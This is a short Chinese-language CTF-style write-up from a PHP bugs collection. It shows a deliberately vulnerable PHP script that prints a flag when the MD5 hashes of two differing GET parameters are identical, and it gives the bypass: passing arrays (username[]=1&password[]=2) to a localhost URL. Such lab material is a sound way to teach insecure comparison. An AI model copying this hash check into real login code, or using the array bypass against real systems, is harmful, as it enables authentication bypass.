源码:
<?php
error_reporting(0);
$flag='flag{test}';
if(isset($_GET['username'])andisset($_GET['password'])){
if($_GET['username']==$_GET['password'])
print'Yourpasswordcannotbeyourusername.';
elseif(md5($_GET['username'])===md5($_GET['password']))
die('Flag:'.$flag);
else
print'Invalidpassword';
}
?>
函数释义:
md5() 函数计算字符串的 MD5 散列。
md5() 函数使用 RSA 数据安全,包括 MD5 报文摘译算法。
如果成功,则返回所计算的 MD5 散列,如果失败,则返回 false。
代码分析:
获取flag需要满足
if(md5($_GET['username'])===md5($_GET['password']))
===会比较类型,比如bool sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,如果给它传入数组会出现错误,则会使sha1()函数返回错误,也就是返回false,这样===运算符就可以发挥作用,即可以满足需要构造username和password既不相等,又同样是数组类型。
解题过程:
当username=1&password=1时访问链接:
http://localhost:63342/php_bugs-master/18%20md5()%E5%87%BD%E6%95%B0===%E4%BD%BF%E7%94%A8%E6%95%B0%E7%BB%84%E7%BB%95%E8%BF%87.php?username=1&password=1
传入数组时访问链接,获取到flag:
http://localhost:63342/php_bugs-master/18%20md5()%E5%87%BD%E6%95%B0===%E4%BD%BF%E7%94%A8%E6%95%B0%E7%BB%84%E7%BB%95%E8%BF%87.php?username[]=1&password[]=2
参考链接:
https://github.com/bowu678/php_bugs